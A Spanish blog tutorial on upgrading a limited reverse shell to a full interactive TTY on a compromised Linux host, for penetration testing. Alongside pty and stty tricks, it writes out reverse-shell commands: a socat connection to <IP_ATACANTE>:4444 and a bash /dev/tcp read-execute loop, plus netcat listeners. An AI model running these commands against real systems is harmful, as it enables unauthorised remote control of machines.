Volver a la página principal
martes 24 diciembre 2024
31

Cómo aplicar un tratamiento de la TTY en una reverse shell

Trabajar con una reverse shell puede ser un desafío, especialmente si estás lidiando con una sesión limitada que carece de funcionalidad adecuada. En estas situaciones, es crucial aplicar un tratamiento de TTY (Teletype Terminal), que esencialmente convierte tu shell básica en una mucho más funcional, permitiendo el uso de comandos interactivos como sudo, nano, o incluso la navegación con teclas.

En este artículo, exploraremos cómo aplicar un tratamiento de TTY en una reverse shell y optimizar su uso en entornos comprometidos. Esto será útil tanto para pruebas de penetración como para comprender mejor cómo funciona el manejo de shells en Linux. 🐧

¿Qué es una TTY y por qué es importante?

El término TTY proviene de "teletypewriter", y en el contexto moderno de Linux, se refiere a las interfaces de terminal que usamos para interactuar con el sistema. Cuando consigues una reverse shell, es probable que te encuentres con una shell "raw" o sin tratamiento, lo que significa que:

  • No puedes usar combinaciones de teclas como Ctrl + C.
  • No puedes ejecutar programas interactivos correctamente.
  • El uso de ciertos comandos está limitado o genera errores.

Para solventar estas limitaciones, necesitamos simular un TTY en nuestra sesión.

Pasos para aplicar un tratamiento de TTY en una reverse shell

A continuación, describimos los pasos más comunes y efectivos para aplicar un tratamiento de TTY en una sesión limitada.

1. Mejorar la shell usando Python

Si tienes acceso a Python en el sistema comprometido, puedes usarlo para obtener una shell con soporte TTY. Solo necesitas ejecutar el siguiente comando:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Esto crea una nueva instancia de bash dentro de un pseudo-terminal, mejorando instantáneamente la funcionalidad de tu shell. Si python3 no está disponible, intenta con python:

python -c 'import pty; pty.spawn("/bin/bash")'

2. Exportar variables del entorno

Después de invocar el comando anterior, asegúrate de exportar las variables esenciales para mejorar la experiencia interactiva:

export TERM=xterm
export SHELL=/bin/bash

Estas variables garantizan que la terminal sea capaz de interpretar correctamente el tipo de sesión.

3. Usar comandos de control de terminal

Para hacer que tu terminal local controle completamente la sesión remota, puedes forzar el manejo de la sesión con:

stty raw -echo
fg

1. stty raw -echo: Configura el terminal en modo "raw", deshabilitando el eco de los comandos.

2. fg: Recupera la sesión a primer plano si está en segundo plano.

Usualmente, después de esto, podrás usar combinaciones como Ctrl + C o Ctrl + Z.

4. Netcat y el tratamiento TTY

Si estás usando Netcat como listener y obtienes una shell básica, también puedes mejorarla usando script. Este comando es especialmente útil si python no está disponible:

script /dev/null -c bash

El comando script crea un entorno TTY adecuado que puede trabajar de manera eficiente dentro de la shell limitada.

5. Convertir una shell en interactiva con socat

Si el sistema tiene socat instalado, puedes usarlo para generar una sesión completamente interactiva. Primero, configura tu listener en el equipo atacante:

socat file:`tty`,raw,echo=0 tcp-listen:4444

Luego, en el sistema remoto, ejecuta:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<IP_ATACANTE>:4444

Esto establecerá una conexión interactiva que funciona como una terminal completa. 🚀

Soluciones adicionales para shells extremadamente limitadas

En casos donde no tienes acceso a python, socat o incluso comandos básicos, prueba estos enfoques:

Usar Bash directamente:

/bin/bash -i

Usar Perl para mejorar la shell:

perl -e 'exec "/bin/bash";'

Usar comandos de control del terminal manualmente:

Si todo lo demás falla, puedes intentar redirigir manualmente la entrada y salida estándar:

exec 5<>/dev/tcp/<IP_ATACANTE>/<PUERTO>
cat <&5 | while read line; do $line 2>&5 >&5; done

Esto no será perfecto, pero puede ser suficiente para ejecutar comandos básicos.

Consejos finales

1. Verifica las herramientas disponibles: Antes de intentar cualquier método, verifica qué herramientas están instaladas en el sistema remoto.

2. Prueba diferentes enfoques: Algunos métodos funcionan mejor en ciertos entornos que en otros. Sé creativo y flexible.

3. Optimiza tu listener: Usa herramientas como rlwrap para manejar mejor las shells desde tu máquina atacante.

rlwrap nc -lvnp 4444

Este comando mejora la funcionalidad de tu terminal local al usar Netcat.

Conclusión

Aplicar un tratamiento de TTY en una reverse shell no solo mejora la experiencia interactiva, sino que también te da más control sobre el sistema comprometido. Con los métodos que hemos cubierto, puedes abordar casi cualquier tipo de sesión limitada, desde el uso de python y socat, hasta soluciones ingeniosas como script o la manipulación directa de entradas/salidas. ¡Experimenta y encuentra la que mejor se adapte a tus necesidades! 🌟

Compartir:
Creado por:
Author photo

Jorge García

Fullstack developer